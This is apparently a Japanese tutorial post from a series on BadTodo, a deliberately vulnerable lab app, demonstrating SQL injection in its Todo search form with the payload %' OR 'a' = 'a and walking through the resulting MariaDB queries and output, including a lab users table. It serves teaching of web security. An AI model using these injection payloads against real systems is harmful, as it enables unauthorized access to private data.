前回:やられアプリ BadTodo - 3.1 SQLインジェクション 認証の回避 - demandosigno
Todo検索画面でのSQLインジェクション
ログイン前の検索画面
補足:画像では検索窓が左寄せとなっていますが、最新のBadTodoでは右寄せになっています。
文字列test
で検索。todo名「test」のtodoが一つ表示される。
次に%
で検索すると一つも出ない。(%という todo名 はないため)(ここの % は LIKE と一緒に使うワイルドカードとは違う単なる置物。hogeでもなんでもよい)
しかし%' OR 'a' = 'a
で検索すると、
非公開のものまで含めてすべて表示されます。それに実際には全部で4つしか登録されていないはずなのにそれ以上に増えています。
(この入力欄が文字列入力を想定しているため%' OR 'a' = 'a
としましたが、型が数値の際はクォートは不要なため1 OR 1 = 1#
のようになります)
SQLクエリを見てみる(方法は前回の最下部を参照)
test
と検索したときのクエリは以下ですが、
SELECT todos.id, owner, users.userid, todo, c_date, due_date, done, org_filename, real_filename, public FROM todos INNER JOIN users ON users.id=todos.owner AND (todos.owner=-1 OR '1') AND (todos.owner = '-1' OR todos.public > 0 OR '0' > 0) AND todo = 'test';
順番に見ていきます。
まず Docker の badtodo-db でターミナルを開き MariaDB にログインします。 root@badtodo-db:~# mysql -u root -p Enter password:(パスワードはBadoTodo実習環境の目次に記載されています) // DB一覧の表示 MariaDB [(none)]> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | sys | | todo | +--------------------+ // todo DBを使う MariaDB [(none)]> use todo Database changed // todo DBのテーブル一覧を表示 MariaDB [todo]> show tables; +----------------+ | Tables_in_todo | +----------------+ | session | | todos | | users | +----------------+ // todosテーブルを表示 MariaDB [todo]> select * from todos; +----+-------+--------------------------------+------------+------------+------+------+--------------+---------------------+--------------------------+----------------+--------+ | id | owner | todo | c_date | due_date | done | memo | org_filename | real_filename | url | url_text | public | +----+-------+--------------------------------+------------+------------+------+------+--------------+---------------------+--------------------------+----------------+--------+ | 1 | 1 | パソコンを買う | 2023-08-08 | 2023-08-09 | 0 | NULL | NULL | NULL | NULL | NULL | 1 | | 2 | 2 | 依頼の原稿を書く | 2023-08-08 | 2023-08-15 | 0 | NULL | memo.txt | memo.txt | NULL | NULL | 1 | | 3 | 1 | 政府高官との会食アポ | 2023-08-08 | 2023-08-11 | 0 | NULL | NULL | NULL | NULL | NULL | 0 | | 5 | 3 | test | 2023-08-10 | 2023-08-10 | 0 | test | hacker.png | 64d431c5-hacker.png | https://www.example.com/ | Example Domain | 1 | +----+-------+--------------------------------+------------+------------+------+------+--------------+---------------------+--------------------------+----------------+--------+ // usersテーブルを表示 MariaDB [todo]> select * from users; +----+---------+--------+--------------------+------------------------+-------+ | id | userid | pwd | email | icon | super | +----+---------+--------+--------------------+------------------------+-------+ | 1 | admin | passwd | root@example.jp | ockeghem.png | 1 | | 2 | wasbook | wasboo | wasbook@example.jp | elephant.png | 0 | | 3 | test | test | hoge1@example.com | 64d431846d6a9-man5.png | 0 | +----+---------+--------+--------------------+------------------------+-------+ // todosテーブルとusersテーブルを内部結合。todosテーブルのownerカラムの値とusersテーブルのidカラムの値が一致するレコードが結合される。 MariaDB [todo]> SELECT todos.id, owner, users.userid, todo, c_date, due_date, done, org_filename, real_filename, public FROM todos INNER JOIN users ON users.id=todos.owner; +----+-------+---------+--------------------------------+------------+------------+------+--------------+---------------------+--------+ | id | owner | userid | todo | c_date | due_date | done | org_filename | real_filename | public | +----+-------+---------+--------------------------------+------------+------------+------+--------------+---------------------+--------+ | 1 | 1 | admin | パソコンを買う | 2023-08-08 | 2023-08-09 | 0 | NULL | NULL | 1 | | 2 | 2 | wasbook | 依頼の原稿を書く | 2023-08-08 | 2023-08-15 | 0 | memo.txt | memo.txt | 1 | | 3 | 1 | admin | 政府高官との会食アポ | 2023-08-08 | 2023-08-11 | 0 | NULL | NULL | 0 | | 5 | 3 | test | test | 2023-08-10 | 2023-08-10 | 0 | hacker.png | 64d431c5-hacker.png | 1 | +----+-------+---------+--------------------------------+------------+------------+------+--------------+---------------------+--------+ // 検索文字列 "test" で検索した場合。ANDで抽出条件が付加されていき下記の出力となる。 MariaDB [todo]> SELECT todos.id, owner, users.userid, todo, c_date, due_date, done, org_filename, real_filename, public -> FROM todos INNER JOIN users -> ON users.id=todos.owner -> AND (todos.owner=-1 OR '1') -> AND (todos.owner = '-1' OR todos.public > 0 OR '0' > 0) -> AND todo = 'test'; +----+-------+--------+------+------------+------------+------+--------------+---------------------+--------+ | id | owner | userid | todo | c_date | due_date | done | org_filename | real_filename | public | +----+-------+--------+------+------------+------------+------+--------------+---------------------+--------+ | 5 | 3 | test | test | 2023-08-10 | 2023-08-10 | 0 | hacker.png | 64d431c5-hacker.png | 1 | +----+-------+--------+------+------------+------------+------+--------------+---------------------+--------+
ここで検索文字列が%' OR 'a' = 'a
だったとするとSQL文が下記となります。
> SELECT todos.id, owner, users.userid, todo, c_date, due_date, done, org_filename, real_filename, public -> FROM todos INNER JOIN users -> ON users.id=todos.owner -> AND (todos.owner=-1 OR '1') -> AND (todos.owner = '-1' OR todos.public > 0 OR '0' > 0) -> AND todo = '%' OR 'a' = 'a';
2行目の JOIN でtodoテーブルとusersテーブルを列で合体させ、その中から ON users.id=todos.owner で user テーブルの id カラムとtodoテーブルのownerカラムが一致する行を抜き出します。
3行目以降は
-> ON users.id=todos.owner // この条件だけ実行すると検索結果は4件となる
-> AND (todos.owner=-1 OR '1')
-> AND (todos.owner = '-1' OR todos.public > 0 OR '0' > 0)
-> AND todo = '%'
-> OR 'a' = 'a';
と条件式が続き必要な行だけ抜き出していくのですが、最終行が「または 'a' = 'a'」なので、それより前がなんであれ常にTRUEとなるため全レコードが引っかかり INNER JOINで結合させたテーブル内容がすべて表示されます。(一つ目のテーブルに対して重複がある列を相手とした結合を行うと、結合前より行数が増えることとなります)
MariaDB [todo]> SELECT todos.id, owner, users.userid, todo, c_date, due_date, done, org_filename, real_filename, public FROM todos INNER JOIN users ON users.id=todos.owner AND (todos.owner=-1 OR '1') AND (todos.owner = '-1' OR todos.public > 0 OR '0' > 0) AND todo = '%' OR 'a' = 'a'; +----+-------+---------+--------------------------------+------------+------------+------+--------------+---------------------+--------+ | id | owner | userid | todo | c_date | due_date | done | org_filename | real_filename | public | +----+-------+---------+--------------------------------+------------+------------+------+--------------+---------------------+--------+ | 1 | 1 | admin | パソコンを買う | 2023-08-08 | 2023-08-09 | 0 | NULL | NULL | 1 | | 1 | 1 | wasbook | パソコンを買う | 2023-08-08 | 2023-08-09 | 0 | NULL | NULL | 1 | | 1 | 1 | test | パソコンを買う | 2023-08-08 | 2023-08-09 | 0 | NULL | NULL | 1 | | 2 | 2 | admin | 依頼の原稿を書く | 2023-08-08 | 2023-08-15 | 0 | memo.txt | memo.txt | 1 | | 2 | 2 | wasbook | 依頼の原稿を書く | 2023-08-08 | 2023-08-15 | 0 | memo.txt | memo.txt | 1 | | 2 | 2 | test | 依頼の原稿を書く | 2023-08-08 | 2023-08-15 | 0 | memo.txt | memo.txt | 1 | | 3 | 1 | admin | 政府高官との会食アポ | 2023-08-08 | 2023-08-11 | 0 | NULL | NULL | 0 | | 3 | 1 | wasbook | 政府高官との会食アポ | 2023-08-08 | 2023-08-11 | 0 | NULL | NULL | 0 | | 3 | 1 | test | 政府高官との会食アポ | 2023-08-08 | 2023-08-11 | 0 | NULL | NULL | 0 | | 5 | 3 | admin | test | 2023-08-10 | 2023-08-10 | 0 | hacker.png | 64d431c5-hacker.png | 1 | | 5 | 3 | wasbook | test | 2023-08-10 | 2023-08-10 | 0 | hacker.png | 64d431c5-hacker.png | 1 | | 5 | 3 | test | test | 2023-08-10 | 2023-08-10 | 0 | hacker.png | 64d431c5-hacker.png | 1 | +----+-------+---------+--------------------------------+------------+------------+------+--------------+---------------------+--------+ 12 rows in set (0.000 sec)
論理演算子の優先順位
複数の論理演算子が使われている場合、(1)NOT (2)AND (3)OR の優先順位に従って処理されます。